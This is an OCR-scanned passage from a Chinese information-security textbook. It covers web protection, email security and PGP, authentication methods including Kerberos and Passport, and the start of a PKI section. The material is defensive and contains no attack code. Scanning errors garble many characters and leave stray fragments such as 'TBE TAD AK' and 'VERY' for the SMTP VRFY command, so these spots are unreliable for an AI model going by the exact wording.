洛 伊 木马 等 。 为 了 应 对 日 益 严 重 的 网 络 安全 威胁 ,必须 提高 Web 服务 器 的 安全 保障 能 力 ， 
防止 恶意 攻击 ,提高 服务 器 防 算 改 与 自动 修复 能 力 。 

Web 防护 可 通过 多 种 手段 实现 ,这 主要 包括 安全 配置 Web 服务 器 、 网 页 防 算 改 技术 、 
反 向 代理 技术 和 蜜 饶 技 术 等 。 

(1) 安全 配置 Web 服务 器 。 充 分 利用 Web 服务 器 本 身 拥 有 的 诸如 主 目录 权限 设 定 、 
用 户 访问 控制 .IP 地 址 许可 等 安全 机 制 ,进行 合理 、 有 效 的 配置 ,确保 Web 服务 的 访问 
BA 

(2) 网 页 防臭 改 技 术 。 将 网 页 监控 与 恢复 结合 在 一 起 ,通过 对 网 站 的 页 面 进行 实时 监 
控 ,主动 发 现 网 页 页 面 内 容 是 否 被 非法 改动 ,一 旦 发 现 被 非法 算 改 ,可 立即 恢复 被 算 改 的 
网 页 。 
G) 反 向 代理 技术 。 当 外 网 用 户 访问 网 站 时 ,采用 代理 与 缓存 技术 ,使 得 访问 的 是 反 向 
代理 系统 ,无 法 直接 访问 Web 服务 器 系统 ,因此 也 无 法 对 Web 服务 器 实施 攻击 。 反 向 代理 
系统 会 分 析 用 户 的 请 求 , 以 确定 是 直接 从 本 地 缓存 中 提取 结果 还 是 把 请 求 转发 到 Web 服务 
器 。 由 于 代理 服务 器 上 不 需要 处 理 复杂 的 业务 逻辑 , 因此 代理 服务 器 本 身 被 入 侵 的 机 会 几 

(4) 蜜 缸 技术 。 蜜 钠 系 统 通 过 模拟 Web 服务 器 的 行为 ,可 以 判别 访问 是 否 对 应 用 服务 
器 及 后 台数 据 库 系统 有 害 ,能 有 效 地 防范 各 种 已 知 及 未 知 的 攻击 行为 。 

2. Web 应 用 服务 安全 技术 

经 过 20 多 年 的 发 展 , Web 应 用 服务 已 经 由 原来 简单 的 信息 服务 拓展 到 诸如 电子 商务 、 
电子 政务 .在线 办 公 、 在 线 视频 、 网 络 银行 等 多 样 化 的 应 用 服务 。Web 应 用 服务 的 业务 流程 
变 得 相当 复杂 和 多 样 化 ,因此 除了 上 述 的 Web 服务 器 安全 技术 保障 之 外 ,在 具体 的 应 用 业 
务 当 中 引入 安全 技术 是 十 分 必要 的 ,主要 包括 身份 认证 技术 ,访问 控制 技术 ,数据 保护 技术 
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和 安全 代码 技术 。 

(1) 身份 认证 技术 。 身 份 认证 作为 电子 商务 、 网 络 银行 应 用 中 最 重要 的 安全 技术 ,目前 
主要 有 简单 身份 认证 (账号 /口令 )、 强 度 身份 认证 ( 公 钥 / 私 钥 ) 和 基于 生物 特征 的 身份 认证 
3 种 形式 。 

(2) 访问 控制 技术 。 访 问 控制 技术 是 指 通 过 某 种 途径 ,准许 或 者 限制 访问 能 力 和 范围 
的 一 种 方法 。 通 过 访问 控制 技术 可 以 限制 对 关键 资源 和 敏感 数据 的 访问 ,防止 非法 用 户 的 
入 侵 和 合法 用 户 的 误 操作 所 导致 的 破坏 。 

(3) 数据 保护 技术 。 主 要 采用 的 是 数据 加 密 技术 。 

(4) 安全 代码 技术 。 安 全 代码 技术 是 指 在 应 用 服务 代码 编写 过 程 中 引入 安全 编程 的 思 
想 ,使 得 编写 的 代码 免 受 隐藏 字段 攻击 、 洲 出 攻击 、 参 数 自 改 攻击 的 技术 。 

3. Web 浏览 器 安全 技术 

Web 浏览 器 是 一 种 应 用 程序 , 它 的 基本 功能 是 把 GUI( 图 形 用 户 界面 ) 请 求 转换 为 
HTTP 请 求 ,并 把 HTTP 响应 转换 为 GUI 显示 内 容 。 随 着 WWW 使 用 的 增长 以 及 广泛 分 
布 的 特性 , Web 浏览 器 的 使 用 引入 了 那些 从 未 被 业界 发 现 的 全 新 客户 机 的 危险 。 黑 客 现在 
可 使 用 更 简单 的 方法 把 恶意 代码 引入 客户 机 ,以 及 更 有 可 能 获取 客户 机 环境 中 安全 敏感 的 
资源 和 信息 。 

Web 浏览 器 安全 技术 主要 包括 以 下 4 个 方面 。 

(1) 浏览 器 实现 的 升级 。 用 户 应 该 经 常 使 用 最 新 的 补丁 升级 浏览 器 。 

(2) Java 安全 限制 。Java 在 最 初 设计 时 便 考虑 了 安全 性 。Java 1.0 的 安全 沙 盒 模型 
(Security Sand Box Model) „Javal. 1 的 签名 小 应 用 程序 代码 限制 或 Java 1. 2/2. 0 的 细 粒 度 
访问 控制 都 可 用 于 限制 哪些 安全 敏感 资源 可 被 访问 ,以 及 如 何 被 访问 。 

(3) SSL 加 密 。SSL 可 内 置 于 许多 Web 浏览 器 中 ,从 而 使 得 在 Web 浏览 器 和 服务 器 
之 间 的 安全 传输 数据 。 

(4) SSL 服务 器 套 接 。 在 SSL 握手 阶段 ,服务 器 端的 证 书 可 被 发 送 给 Web 浏览 器 ,用 
于 认证 特定 服务 器 的 身份 。 同 时 ,客户 端的 证 书 可 被 发 送 给 Web 服务 器 ,用 于 认证 特定 用 
户 的 身份 。 


10.2 电子 邮件 安全 技术 


随 着 Internet 的 发 展 ,电子 邮件 (E-mail) 已 经 成 为 一 项 重要 的 商用 和 家 用 资源 , 越 来 越 
多 的 商家 和 个 人 使 用 电子 邮件 作为 通信 的 手段 。 但 随 着 互联 网 的 普及 ,人 们 对 邮件 的 滥用 
也 日 渐 增 多 ,一 方面 ,试图 利用 常规 电子 邮件 系统 销售 商品 的 人 开始 利用 互联 网 发 送 
E-mail, 经 常 导致 邮件 系统 的 超 负 荷 运 行 ; 另 一 方面 ,黑客 利用 电子 邮件 发 送 病毒 程序 进行 
攻击 。 随 着 E-mail 的 广泛 应 用 ,其 安全 性 备 受 人 们 关注 。 


10.2.1 电子 邮件 系统 的 组 成 


E-mail 系统 主要 由 邮件 分 发 代理 、 邮 件 传输 代理 、 邮 件 用 户 代理 及 邮件 工作 站 组 成 。 
(1) 邮件 分 发 代理 (MDA)。MDA 负责 将 邮件 数据 库 中 的 邮件 分 发 到 用 户 的 邮箱 中 。 
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在 分 发 邮件 时 ,MDA 还 将 承担 邮件 自动 过 滤 .邮件 自动 回复 和 邮件 自动 触发 等 任务 。 常 见 
的 MDA 开放 源 代码 程序 有 Binmail 和 Promail 等 。 

(2) 邮件 传输 代理 (MTA)。MTA 负责 邮件 的 接收 和 发 送 ,通常 采用 SMTP 协议 传输 
邮件 。 常 见 的 MTA 有 Sendmail 和 Postfix 等 。 

(3) 邮件 用 户 代 理 (MUA)。MUA 不 接收 邮件 ,而 是 负责 将 邮箱 中 的 邮件 显示 给 用 
户 。MUA 常用 的 协议 有 POP3 和 IMAP, 常 见 的 程序 有 Pine、Kmail 等 。 

(4) 邮件 工作 站 。 邮 件 工作 站 是 邮件 用 户 直接 操作 的 计算 机 ,负责 显示 撰写 邮件 等 。 


10.2.2 电子 邮件 安全 的 目标 


根据 邮件 系统 的 组 成 ,可 以 将 邮件 安全 目标 总 结 如 下 。 

1. 邮件 分 发 安全 

邮件 分 发 时 ,可 能 遇 到 垃圾 邮件 .邮件 病毒 .开放 转发 等 威胁 ,所 以 邮件 分 发 安全 应 能 阻 
止 垃圾 邮件 和 开放 转发 ,并 查 杀 已 知 病毒 。 

2. 邮件 传输 安全 

邮件 在 传输 过 程 中 可 能 被 窃听 、 自 改 ,因此 必须 保障 邮件 传输 的 机 密 性 和 完整 性 。 同 
时 ,邮件 在 传输 中 应 采用 SMTP 协议 ,该 协议 允许 远程 查询 邮件 账户 ,在 高 度 安全 要 求 的 系 
统 中 保护 邮件 账户 的 状态 (如 存在 、 可 用 等 ) 也 是 安全 的 目标 。 

3. 邮件 用 户 安全 

邮件 用 户 通过 工作 站 ,采用 POP3 或 IMAP 等 协议 浏览 邮件 ,在 这 个 过 程 中 需要 确认 
用 户 的 身份 ,否则 将 导致 邮件 被 非 授权 访问 。 同 时 ,邮件 在 用 户 工作 站 上 显示 时 ,可 能 需要 
在 本 地 执行 显示 软件 ,因而 容易 使 病毒 或 其 他 有 害 代 码 发 作 , 所 以 在 工作 站 端 也 要 能 支持 病 
毒 查 杀 功 能 。 


10.2.3 电子 邮件 安全 技术 的 分 类 


针对 前 述 的 安全 目标 ,常用 的 安全 技术 如 下 。 

1. 身份 认证 技术 

身份 认证 技术 包括 邮件 转发 认证 、 邮 件 收 发 认证 等 , 即 在 要 求 转发 邮件 时 ,必须 经 过 认 
证 ,而 不 是 开放 转发 ; 而 在 用 户 要 求 接收 或 发 送 邮 件 时 ,必须 经 过 身份 认证 ,以 避免 邮件 在 
邮箱 中 被 窃取 。 要 特别 强调 的 是 ,认证 的 口令 要 有 足够 安全 度 ,以 防 在 线 口令 被 破解 。 

2. 加 密 、 签 名 技术 

在 邮件 传输 过 程 中 ,必须 采用 加 密 和 签名 措施 来 保障 重要 邮件 的 机 密 性 和 完整 性 。 目 
前 ,电子 邮件 已 渐渐 成 为 商务 信函 的 重要 形式 ,因此 必要 时 还 要 进行 发 送 和 接收 签名 ,以 防 
止 否认 。 在 这 方面 已 有 成 熟 的 安全 协议 PGP 和 S/MIME 等 。 

3. 协议 过 滤 技 术 

为 了 防止 邮件 账号 远程 查询 ,要 对 SMTP 的 协议 应 答 进行 处 理 , 如 对 VERY EXPN 等 
命令 不 予 应 答 或 无 信息 应 答 。 
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4. 防火 墙 技术 

设立 内 、 外 邮件 服务 器 ,在 内 、 外 服务 器 间 设 立 防火 墙 。 外 服务 器 负责 对 外 邮件 的 传输 
收发 ,而 内 服务 器 才 是 真正 的 用 户 邮 件 服 务 器 。 所 有 来 自 公 网 上 的 邮件 操作 均 止 于 外 服务 
器 ,再 由 外 服务 器 转发 ,这 样 可 以 将 真正 的 邮箱 服务 器 与 公 网 隔离 。 

5. 邮件 病毒 过 滤 技 术 

在 邮件 服务 器 上 安装 邮件 病毒 过 滤 软 件 ,使 大 部 分 邮件 病毒 在 邮件 分 发 时 被 分 拣 过 滤 。 
同时 在 邮件 客户 端 也 安装 防 病毒 软件 ,以 便 在 邮件 打开 前 查 杀 病毒 。 


10.2.4 电子 邮件 安全 标准 


电子 邮件 安全 标准 (Pretty Good Privacy,PGP) 是 一 种 对 电子 邮件 提供 加 密 、 签 名 和 认 
证 的 安全 服务 的 协议 ,已 成 为 电子 邮件 事实 上 的 安全 标准 。PGP 将 基于 公 钥 密码 体制 的 
RSA 算法 和 基于 单 密 钥 体制 的 IDEA 算法 巧妙 地 结合 起 来 ,同时 兼顾 了 公 钥 密码 体系 的 便 
利 性 和 传统 密码 体系 的 高 速度 ,形成 了 一 种 高 效 的 混合 密码 系统 。 

RFC1991 和 RFC2440 文档 描述 了 PGP 文件 格式 ,从 Internet 上 可 以 免费 下 载 PGP 加 
密 软件 工具 包 。PGP 最 初 是 在 MS-DOS 操作 系统 上 实现 的 ,后 来 被 移植 到 UNIX, Linux 
以 及 Windows 等 操作 系统 上 。 

PGP 支持 对 邮件 的 数字 签名 和 签名 验证 ,还 可 以 用 来 加 密 文 件 。 

1. 应 用 PGP 对 邮件 进行 数字 签名 和 认证 

对 于 每 个 邮件 ,PGP 使 用 MD5 算法 产生 的 128 位 的 散 列 值 作为 该 邮件 的 唯一 标识 ,并 
以 此 作为 邮件 签名 和 签名 验证 的 基础 。 例 如 ,为 了 证 实 邮件 是 A Re BAY. A 首先 使 用 
MD5 算法 产生 一 个 128 位 的 散 列 值 , 再 用 A 的 私 钥 加 密 该 值 ,作为 该 邮件 的 数字 签名 , 然 
后 把 它 附 加 在 邮件 后 面 , 再 用 B 的 公 钥 加 密 整个 邮件 。 

在 这 里 ,应 当先 签名 再 加 密 ,而 不 应 先 加 密 再 签名 ,以 防止 签名 被 筑 改 (攻击 者 将 原始 签 
名 去 掉 , 换 上 其 他 人 的 签名 )。B 收 到 加 密 的 邮件 后 ,首先 使 用 自己 的 私 钥 解密 邮件 ,得 到 A 
的 邮件 原文 和 签名 ,然后 使 用 MD5 算法 产生 一 个 128 位 的 散 列 值 ,并 和 解密 后 的 签名 相 比 
较 。 如 果 两 者 相符 合 , 则 说 明 该 邮件 确实 是 A 寄 来 的 。 

2. 应 用 PGP 对 邮件 只 签名 而 不 加 密 

发 信人 为 了 证 实 自己 的 身份 ,用 自己 的 私 钥 签 名 ; 收 件 人 用 发 信人 的 公 钥 来 验证 签名 ， 
这 不 仅 可 以 确认 发 信人 的 身份 ,并 且 还 可 以 防止 发 信人 抵赖 自己 的 声明 。 

3. 应 用 PGP 对 邮件 内 容 进行 加 密 

PGP 应 用 IDEA 算法 对 邮件 内 容 进 行 加 密 。 发 信人 首先 随机 生成 一 个 密 钥 (每 次 加 密 
都 不 同 ) ,使 用 IDEA 算法 加 密 邮 件 内 容 , 然 后 再 用 RSA 算法 加 密 该 随机 密 钥 , 并 随 邮 件 一 
起 发 送 给 收 件 人 。 收 信人 先 用 RSA 算法 解密 出 该 随机 密 钥 , 再 用 IDEA 算法 解密 出 邮件 
内 容 。 

TJ JL, PGP 将 RSA 和 IDEA 两 种 密码 算法 有 机 地 结合 起 来 ,发 挥 各 自 的 优势 ,成 为 混 
合 密码 系统 成 功 应 用 的 典型 范例 。PGP 的 功能 实现 及 其 所 用 的 算法 如 表 10-1 所 示 。 关 于 
PGP 软件 的 具体 操作 方法 请 参考 实 训 3。 
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表 10-1 PGP 功能 实现 


功 能 使 用 的 算法 解释 说 明 

数字 签名 DSS/SHA 或 RSA/SHA 使 用 SHA-1 创建 散 列 编 码 , 用 发 送 者 的 私 钥 
DSS 或 RSA 加 密 消息 摘要 

消息 加 密 CAST 或 IDEA 或 3DES、AES、 消息 用 一 次 性 会 话 密 钥 加 密 , 会 话 密 钥 接收 

RSA 或 DiffieHellman 算法 方 的 公 钥 加 密 

压缩 ZIP 消息 用 ZIP 压缩 ,用 于 存储 或 传输 

电子 邮件 兼容 性 64 基 转 换 邮件 应 完全 透明 ,加密 后 的 消息 用 64 基 转 换 
算法 转换 成 ASCII 字符 串 

数据 分 段 = 为 了 适应 邮件 的 大 小 限制 ,PGP 支持 分 段 和 
重组 


10.3 身份 认证 技术 


在 现实 社会 中 ,人 们 常常 会 被 问 “ 你 是 谁 ?”, 在 网 络 世界 里 ,这 个 问题 同样 会 出 现 , 许 多 
信息 系统 在 使 用 前 ,都 要 求 用 户 注 册 , 通 过 验证 后 才能 进入 。 身 份 认 证 是 防止 未 授权 用 户 进 
入 信息 系统 的 第 一 道 防线 。 


10.3.1 身份 认证 的 含义 


身份 认证 包含 身份 的 识别 和 验证 。 身 份 识别 就 是 确定 某 一 实体 的 身份 ,知道 这 个 实体 
是 谁 ; 身份 验证 就 是 对 声称 是 谁 的 声称 者 的 身份 进行 证 明 ( 或 检验 ) 的 过 程 。 前 者 是 主动 识 
别 对 方 的 身份 ,后 者 是 对 对 方 身份 的 检验 和 证 明 。 

通常 所 说 的 身份 认证 就 是 指 信 息 系统 确认 用 户 身份 的 过 程 。 在 数字 世界 中 ,一 切 信 息 
包括 用 户 的 身份 信息 都 是 由 一 组 特定 的 数据 来 表示 的 ,计算 机 只 能 识别 用 户 的 数字 身份 ,给 
用 户 的 授权 也 是 针对 用 户 数字 身份 进行 的 。 而 现实 世界 是 一 个 真实 的 物理 世界 ,每 个 人 都 
拥有 独一无二 的 物理 身份 。 保 证 操作 者 的 物理 身份 与 数字 身份 相对 应 ,就 是 身份 认证 管理 
系统 所 需要 解决 的 问题 。 

目前 ,验证 用 户 身 份 的 方法 主要 有 以 下 3 种 情况 。 

d) 所 知道 的 某 种 信息 ,如 口令 、 账 号 和 身份 证 号 等 。 

(2) 所 拥有 的 物品 ,如 图 章 ,标志 、 钥 匙 ,护照 \IC 卡 和 USB Key 等 。 

(3) 所 具有 的 独一无二 的 个 人 特征 ,如 指纹 、 手 形 、 视 网 腊 和 基因 等 。 


10.3.2 身份 认证 的 方法 


1. 基于 用 户 已 知 信息 的 身份 认证 

1) 口令 

口令 (或 通行 字 ) 是 被 广泛 研究 和 应 用 的 一 种 身份 验证 方法 ,也 是 最 简单 的 身份 认证 方 
法 。 用 户 的 口令 由 用 户 自己 设 定 , 只 有 用 户 自己 才 知 道 。 只 要 能 够 正确 输入 口令 ,计算 机 就 
认为 操作 者 就 是 合法 用 户 。 
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(1) 口令 的 优点 :“ 用 户 名 十 口令 ”的 方式 已 经 成 为 信息 系统 最 为 常见 的 限制 非法 用 户 
的 手段 ,使 用 非常 方便 。 只 要 管理 适当 ,口令 不 失 为 一 种 有 效 的 安全 保障 手段 。 

(2) 口令 的 缺点 : 信息 系统 的 安全 依赖 于 口令 的 安全 ,但 是 使 用 口令 存在 许多 安全 隐 
患 ,如 弱 口 令 ( 如 某 人 的 生日 、 电 话 号 码 和 电子 邮件 等 ,容易 被 人 猜 中 或 攻击 ) 不 安全 存储 
(如 记录 在 纸 质 上 或 存放 在 计算 机 里 ) 和 易 受 到 攻击 (口令 很 难 抵抗 字典 攻击 ,静态 口令 很 容 
易 被 驻 留 在 计算 机 内 存 中 的 木马 程序 或 网 络 中 的 监听 设备 截获 ) 。 

此 外 ,许多 信息 系统 对 “用 户 名 十 口令 ”的 身份 认证 方式 进行 了 改进 ,采用 “用 户 名 十 口 
令 十 验证 码 ” 的 方式 ,验证 码 要 求 用 户 从 图 片 或 其 他 载体 中 读 取 , 有 效 地 避免 了 暴力 攻击 。 

2) 密 钥 

此 处 密 钥 的 概念 是 基于 密码 学 意义 而 言 的 , 即 指 对 称 密码 算法 的 密 钥 、 非 对 称 密码 算法 
的 公开 密 钥 和 私有 密 钥 。“ 用 户 名 十 口令 ?方式 是 基于 判断 用 户 是 否 知道 口令 ,一 般 不 涉及 
复杂 的 计算 ,只 需 进行 比较 就 可 以 了 ; 而 密 钥 的 使 用 是 基于 复杂 的 加 密 运算 。 下 面 分 两 种 
情况 分 别 进行 说 明 。 

(1) 若 通 信 双 方 采用 对 称 密 码 算法 进行 保密 通信 ,在 通信 前 ,双方 约定 共享 密 钥 人 ,接收 
方 收 到 密 文 后 ,如 果 能 够 使 用 共享 密 钥 & 解密 ,那么 他 就 相信 发 送 方 的 身份 了 ,因为 只 有 发 
送 方才 知道 这 个 密 钥 。 

(2) 若 通信 双方 采用 非 对 称 密码 算法 进行 保密 通信 和 数字 签名 ,在 通信 前 ,发 送 方 通过 
公共 数据 库 查 询 接收 方 的 公 钥 ,他 首先 采用 接收 方 的 公 钥 进 行 加 密 ,然后 用 自己 的 私 钥 进行 
数字 签名 ,这样 接收 方 先 用 发 送 方 的 公 钥 验证 签名 是 否 正确 ,如 果 正 确 ,那么 他 相信 发 送 方 
的 身份 ,因为 只 有 发 送 方才 可 能 签名 ,同时 ,再 用 自己 的 私 钥 解密 ,获得 明文 。 

© 密 钥 的 优点 : 基于 复杂 的 密码 运算 ,算法 的 安全 性 大 大 提高 。 

© 密 钥 的 缺点 : 运算 复杂 ,效率 不 高 ,使 用 不 方便 ; 使 用 对 称 密 钥 算法 时 ,认证 对 方 身 
份 的 前 提 是 他 必须 保守 共享 密 钥 这 个 秘密 ,这 本 身 就 是 脆弱 的 。 

2. 基于 用 户 所 拥有 的 物品 的 身份 认证 

1) 记忆 卡 

最 普通 的 记忆 卡 是 磁卡 ,磁卡 的 表面 贴 有 磁 条 , 磁 条 上 记录 用 于 机 器 识别 的 个 人 信息 ， 
记忆 卡 也 称 为 令 牌 。 

(1) 记忆 卡 的 优点 : 记忆 卡 明 显 比 口令 安全 ,廉价 而 易于 生产 。 黑 客 或 其 他 假冒 者 必 
须 同 时 拥有 记忆 卡 和 PIN ,这 当然 比 单纯 获取 口令 更 加 困难 。 

(2) 记忆 卡 的 缺点 : 易于 制造 , 磁 条 上 的 数据 也 不 难 转录 。 

2) 智能 卡 

智能 卡 是 一 种 内 置 集成 电路 的 芯片 ,包含 微 处 理 器 、 存 储 器 和 输入 /输出 接口 设备 等 。 
它 存 储 的 信息 远 远 大 于 磁 条 的 250B 的 容量 ,具有 信息 处 理 功能 。 智 能 卡 由 合法 用 户 随身 
携带 ,登录 时 将 智能 卡 插入 专用 的 读 卡 器 读 取 其 中 的 信息 :以 验证 用 户 的 身份 。 智 能 卡 内 存 
有 用 户 的 密 钥 和 数字 证 书 等 信息 ,而且 还 能 进行 有 关 加 密 和 数字 签名 运算 ,功能 比较 强大 。 
这 些 运 算 都 在 卡 内 完成 ,不 使 用 计算 机 内 存 , 因 而 十 分 安全 。 智能卡 结 合 了 先进 的 集成 电路 
芯片 ,具有 运算 快速 、 存 储量 大 、 安 全 性 高 以 及 难以 破译 等 优点 ,是 未 来 卡片 的 发 展 趋势 。 

3) USB Key 

USB Key 是 一 种 USB 接口 的 硬件 存储 设备 , 它 内 置 单 片 机 或 芯片 ,可 以 存储 用 户 的 密 
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钥 或 数字 证 书 。 利 用 USB Key 内 置 的 密码 算法 可 实现 对 用 户 身 份 的 认证 。 基 于 USB Key 
身份 认证 系统 主要 有 两 种 应 用 模式 : 一 是 基于 冲击 /响应 的 认证 模式 ; 二 是 基于 PKI 体系 
的 认证 模式 。 它 的 原理 类 似 智 能 卡 , 区 别 在 于 外 形 、 功 能 和 使 用 方式 方面 。 

3. 基于 用 户 生物 特征 的 身份 认证 

传统 的 身份 认证 技术 ,不论 是 基于 用 户 已 知 信息 的 身份 认证 ,还 是 基于 用 户 所 拥有 的 物 
品 的 身份 认证 ,甚至 是 二 者 相 结合 的 身份 认证 ,始终 没有 结合 人 的 特征 ,都 不 同 程度 地 存在 
不 足 。 以 “用 户 名 十 口令 ”方式 过 渡 到 智能 卡 方式 为 例 ,首先 ,需要 随时 携带 智能 卡 , 智 能 卡 
容易 丢失 ; 其 次 ,需要 记 住 PIN,PIN 也 容易 丢失 和 忘记 ; 当 PIN 或 智能 卡 丢 失 时 ,补办 手 
续 烦 琐 宛 长 ,并 且 需 要 出 示 能 够 证 明 身 份 的 证 件 ,使 用 很 不 方便 。 直 到 生物 识别 技术 得 到 成 
功 的 应 用 ,身份 认证 问题 才 迎 刃 而 解 。 这 种 紧密 结合 人 的 特征 的 方法 ,意义 不 只 在 技术 上 的 
进步 ,而 是 站 在 人 文 角度 ,真正 回归 到 了 人 本 身 最 原始 的 生理 特征 。 

生物 识别 技术 主要 是 指 通过 可 测量 的 身体 或 行为 等 生物 特征 进行 身份 认证 的 一 种 技 
术 。 生 物 特 征 是 指 唯 一 可 以 测量 或 可 自动 识别 和 验证 的 生理 特征 或 行为 方式 。 生 物 特征 分 
为 身体 特征 和 行为 特征 两 类 。 身 体 特征 包括 指纹 、 手 形 、 视 网 膜 、 虹 膜 、 人 体 气味 、 和 脸形 、 手 的 
血管 和 DNA 等 ; 行为 特征 包括 签名 .语音 ,行走 步 态 等 。 目 前 部 分 学 者 将 视网膜 识别 .虹膜 
识别 和 指纹 识别 等 归 为 高 级 生物 识别 技术 ; 将 手 形 识别 .脸形 识别 .语音 识别 和 签名 识别 等 
归 为 次 级 生物 识别 技术 ; 将 血管 纹理 识别 、 人 体 气味 识别 .DNA 识别 等 归 为 “深奥 的 ”生物 
识别 技术 。 

与 传统 身份 认证 技术 相 比 ,生物 识别 技术 具有 以 下 特点 。 

(1) 随身 性 : 生物 特征 是 人 体 固 有 的 特征 ,与 人 体 是 唯一 绑 定 的 ,具有 随身 性 。 

(2) 安全 性 : 人 体 特 征 本 身 就 是 个 人 身份 的 最 好 证 明 ,可 满足 更 高 的 安全 需求 。 

(3) 唯一 性 : 每 个 人 拥有 的 生物 特征 各 不 相同 。 

CA) 稳定 性 : 指纹 .虹膜 等 人 体 特征 不 会 随时 间 等 条 件 的 变化 而 变化 。 

(5) 方便 性 : 生物 识别 技术 不 需 记忆 密码 与 携带 使 用 特殊 工具 (如 钥匙 ) ,不 会 遗失 。 

(6) 可 接受 性 : 使 用 者 对 所 选择 的 个 人 生物 特征 及 其 应 用 愿意 接受 。 

4. 身份 认证 的 典型 示 列 

目前 ,国外 已 经 有 许多 协议 和 产品 支持 身份 认证 ,其 中 比较 典型 的 有 一 次 一 密 机 制 、 
Kerberos 协议 、Liberty 协议 、Passport 系统 和 公 钥 认证 体系 。 

1) 一 次 一 密 机 制 

一 次 一 密 机 制 主要 有 两 种 实现 方式 : 第 一 种 是 采用 请 求 /应 答 (Challenge/Response) 方 
式 , 用 户 登录 时 系统 随机 提示 一 条 信息 ,用 户 根据 这 一 信息 连同 其 个 人 化 数据 共同 产生 一 个 
口令 字 ,用 户 输入 这 个 口令 字 ,完成 一 次 登录 过 程 ,或 者 用 户 对 这 一 条 信息 实施 数字 签名 发 
送 给 AS 进行 鉴别 ; 第 二 种 是 采用 时 钟 同 步 机 制 , 即 根据 这 个 同步 时 钟 信息 连同 其 个 人 化 
数据 共同 产生 一 个 口令 字 。 这 两 种 方案 均 需 要 AS 端 也 产生 与 用 户 端 相同 的 口令 字 ( 或 检 
验 用 户 签名 ) 用 于 验证 用 户 身 份 。 

2) Kerberos 协议 

Kerberos 协议 是 为 基于 TCP/IP 的 Internet 和 Intranet 设计 的 安全 认证 协议 , 它 工作 
在 Client/Server 模式 下 ,以 可 信赖 的 第 三 方 KDC( 密 钥 分 配 中 心 ) 实 现 用 户 身 份 认证 。 在 
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认证 过 程 中 ,Kerberos 使 用 对 称 密 钥 加 密 算 法 ,提供 了 计算 机 网 络 中 通信 双方 之 间 的 身份 
认证 。Kerberos 设计 的 目的 是 解决 在 分 布 网 络 环境 中 用 户 访问 网 络 资源 时 的 安全 问题 。 

由 于 Kerberos 是 基于 对 称 加 密 来 实现 认证 的 ,这 就 涉及 加 密 密 钥 对 的 产生 和 管理 问 
题 。 在 Kerberos 中 会 对 每 一 个 用 户 分 配 一 个 密 钥 对 ,如 果 网 络 中 存在 NN 个 用 户 , 则 
Kerberos 系统 会 保存 和 维护 N 个 密 钥 对 。 同 时 ,在 Kerberos 系统 中 只 要 求 使 用 对 称 密码 ， 
而 没有 对 具体 算法 和 标准 作 限 定 , 这 样 便于 Kerberos 协议 的 推广 和 应 用 。Kerberos 已 广 
泛 应 用 于 Internet 和 Intranet 服务 的 安全 访问 ,具有 高 度 的 安全 性 .可靠 性 .透明 性 和 可 伸 
缩 性 等 优点 。 目 前 广泛 使 用 的 Kerberos 的 版 本 是 第 4 版 (v4) 和 第 5 版 (v5) ,其 中 Kerberos 
v5 弥补 了 v4 中 存在 的 一 些 安全 漏洞 。 

一 个 完整 的 Kerberos 系统 主要 由 以 下 几 个 部 分 组 成 。 

(1) 客户 端 (Client) 。 

(2) 服务 器 端 (Server) 。 

(3) 密 钥 分 配 中 心 (Key Distribution Center, KDC). 

(4) 认证 服务 器 (Authentication Server,AS) 。 

(5) 票据 分 配 服 务 器 (Ticket Granting Server, TGS) 。 

(6) 票据 。 

(7) TBE TAD AK 

Kerberos 的 基本 认证 过 程 如 图 10-2 所 示 。 


密 钥 分 配 中 心 (KDC) 


EPM @ 用 户 登 录 ， 请 求 票据 许可 票据 ; 
@ 请 求 服务 分 配 票据 : 

@ 票 据 + 会 话 密 钥 ; 

@ 请 求 服务 ; 

资源 服务 器 服务 器 确认 请 求 。 


图 10-2 Kerberos 的 基本 认证 过 程 


3) Liberty 协议 

Liberty 协议 是 基于 安全 声明 标记 语言 (Security Assertions Markup Language， 
SAML) 标 准 的 一 个 面向 Web 应 用 身份 认证 的 与 平台 无 关 的 开放 协议 。 它 的 核心 思想 是 身 
份 联合 (Identity Federation) ,两 个 Web 应 用 之 间 可 以 保留 原来 的 用 户 认 证 机 制 , 通 过 建立 
它们 各 自身 份 的 对 应 关系 来 达到 身份 认证 的 目的 ; 用 户 的 验证 票据 通过 HTTP, 
Redirection 或 Cookie 在 Web 应 用 间 传 递 来 实现 身份 认证 ,而 用 户 的 个 人 信息 的 交换 通过 
两 个 Web 应 用 间 的 后 台 SOAP 通信 进行 。 


268 信息 安全 与 技术 


4) Passport 系统 

Passport 是 微软 推出 的 基于 Web 的 统一 身份 认证 系统 , 它 由 一 个 Passport 服务 器 和 若 
干 联盟 站 点 组 成 。 用 户 通 过 网 页 在 Passport 服务 器 处 使 用 “用 户 名 十 口令 ”来 认证 自己 的 
身份 ,Passport 服务 器 则 在 用 户 本 地 浏览 器 的 Cookie 中 写 入 一 个 认证 票据 ,并 根据 用 户 所 
要 访问 的 站 点 生成 一 个 站 点 相关 的 票据 ,然后 将 该 票据 封装 在 HTTP 请 求 消息 里 ,把 用 户 
重 定 向 到 目标 站 点 。 目 标 站 点 的 安全 基础 设施 将 根据 收 到 的 票据 来 认证 用 户 的 身份 。 通 过 
使 用 Cookie 和 重 定向 机 制 ,Passport 实现 了 基于 Web 的 身份 认证 服务 。 

5) 公 钥 认证 体系 

公 钥 认证 的 原理 是 用 户 向 认证 机 构 提供 用 户 所 拥有 的 数字 证 书 来 实现 用 户 的 身份 认证 
的 。 数 字 证 书 是 由 可 信赖 的 第 三 方 一 一 认证 中 心 (CA) 颁 发 的 ,含有 用 户 的 特征 信息 的 数据 
文件 ,并 包含 认证 中 心 的 数字 签名 。 因 此 ,数字 证 书 不 能 被 伪造 和 算 改 ,这 是 靠 认 证 中 心 的 
数字 签名 来 确保 的 ,除非 认证 中 心 的 私 钥 泄密 ,这样 就 可 以 通过 对 数字 证 书 的 验证 来 确认 用 
户 的 身份 。 


10.4 公 钥 基础 设施 技术 


PKI(Public Key Infrastructure) 是 公 钥 基础 设施 的 简称 ,是 一 种 遵循 标准 的 ,利用 公 
密码 技术 为 网 上 电子 商务 .电子 政务 等 各 种 应 用 提供 安全 服务 的 基础 平台 。 它 能 够 为 网 络 
应 用 透明 地 提供 密 钥 和 证 书 管理 .加密 和 数字 签名 等 服务 ,是 目前 网 络 安全 建设 的 基础 与 核 
心 。 用 户 利 用 PKI 平 台 提供 的 安全 服务 进行 安全 通信 。 


10.4.1 PKI 技术 概述 


